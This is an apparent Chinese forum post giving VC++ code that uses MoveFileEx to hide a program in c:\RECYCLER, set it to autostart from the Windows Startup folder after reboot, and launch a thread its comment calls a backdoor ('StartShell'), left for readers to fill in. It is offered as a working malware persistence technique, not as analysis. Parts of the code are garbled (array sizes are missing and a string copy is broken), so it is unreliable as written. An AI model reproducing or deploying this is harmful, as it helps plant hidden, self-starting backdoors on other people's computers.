基于VC++2010利用API函数MoveFileEx实现程序的隐藏、自启动与自删除
详细代码如下#include "stdafx.h"//#include "shell.h"void usage(char *);#pragma comment(linker,"/SUBSYSTEM:WINDOWS")int WINAPI WinMain( HINSTANCE hInstance,// handle to current instance HINSTANCE hPrevInstance,// handle to previous instance LPSTR lpCmdLine, // pointer to command line int nCmdShow // show state of window ){::MessageBox(NULL,"I'm Hear","test",MB_OK); //得到启动目录char szPath={0}; ::GetSystemDirectory(szPath,MAX_PATH); char szDst={0}; for (int i=0; i<3;i++)szDst=szPath; strcat(szDst,"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\FUCK.EXE"); //printf("\n\t 现在的目录是%s\n",szDst); //得到当前程序名 TCHAR szCurPath; memset(szCurPath, 0, MAX_PATH); GetModuleFileName(NULL, szCurPath, sizeof(szCurPath)/sizeof(TCHAR)); if (!(MoveFileEx(szCurPath,"c:\\RECYCLER\\FK.BAK",MOVEFILE_REPLACE_EXISTING)))//若是要在不同的volume下移动文件,需要此项COPY_ALLOWED //printf("第一次移动失败\n");::MessageBox(NULL,"第一次移动文件失败","test",MB_OK); if(!::MoveFileEx("c:\\RECYCLER\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING)){ ::MessageBox(NULL,"移动文件失败","test",MB_OK); }else printf("任务完成\n");/*system("pause");*/ //创建并等待线程 //StartShell 为后门线程函数,大家可以自己实现相应的功能HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);CloseHandle(hthread);::WaitForSingleObject(hthread,INFINITE); return 0;}void usage(char * s){ printf(" 用法:MoveFile 原文件名 移动后的文件名\n" }
页:
[1]